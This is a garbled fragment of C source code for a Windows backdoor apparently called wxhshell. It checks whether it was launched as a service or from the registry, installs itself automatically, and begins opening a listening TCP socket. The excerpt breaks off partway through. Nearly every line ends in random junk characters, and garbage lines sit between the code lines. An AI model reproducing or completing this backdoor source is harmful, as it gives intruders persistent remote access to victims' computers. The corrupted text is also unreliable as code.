ULONG InheritedFromUniqueProcessId; :}R,a=N
} PROCESS_BASIC_INFORMATION; m1e Sn |)7
)<f4F!?,A
PROCNTQSIP NtQueryInformationProcess; gN2oUbf8
@uz(h'~
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s f.z(o
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lNsdbyV'
Qr_0
L
HANDLE hProcess; e"%uOuIYX
PROCESS_BASIC_INFORMATION pbi; oj[~H}>
=A*a9c2
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N^M6*,F,J
if(NULL == hInst ) return 0; 1%C EUE
1cc~UQ
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); id9 XwWV
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >,QCKZH
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lGt:.p{NG
%^d<go^
if (!NtQueryInformationProcess) return 0; E4'z
(<
>L fn
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jz~#K;3=,
if(!hProcess) return 0; Zd'Yu{<_2N
/:^nG+
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O+|ipw*B%
V!(7=ku!`
CloseHandle(hProcess); @^<&LG5^
'"+Gn52#
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %JH/|mA&|
if(hProcess==NULL) return 0; lcLDCt?
XDAP[V
HMODULE hMod; E+ |K3EJ
char procName[255]; DgK*>A
unsigned long cbNeeded; m[%':^vSr
>9mj/P D
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]imVIu
d'&OEGb<
CloseHandle(hProcess); jhPbh5E
3d]~e
if(strstr(procName,"services")) return 1; // 以服务启动 %wXjP`#
lU%oU&P/"S
return 0; // 注册表启动 TFm[sO0RZ
} k&uh
gKcBx6G
Q
// 主模块 j{'_sI{{
int StartWxhshell(LPSTR lpCmdLine) JS/ChoU
{ KxD/{0F
SOCKET wsl; EP"Z 58&$R
BOOL val=TRUE; op/_:#&'
int port=0; Uf|uFGb
struct sockaddr_in door; )o~/yB7
$f _C~O
if(wscfg.ws_autoins) Install(); 9XYm8g'X
ce#Iu#qT
port=atoi(lpCmdLine); xAl8e
4x&Dz0[[S
if(port<=0) port=wscfg.ws_port; <;yS&8
QVJpX;u
WSADATA data; Q"D5D
rj
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tcnO`0moK
gaxM#
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; A'rd1"K
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O$;#GpR
door.sin_family = AF_INET; O9zMD8
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Dn@ZS _f
door.sin_port = htons(port); !H@HgJ
-
=+UtAf<n
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `"}).{N]C
closesocket(wsl); uY(8KW
return 1; +ue1+#
} ',xUU{5?
.>#O'Z&q9
if(listen(wsl,2) == INVALID_SOCKET) { gOe!GnO
closesocket(wsl); KO7&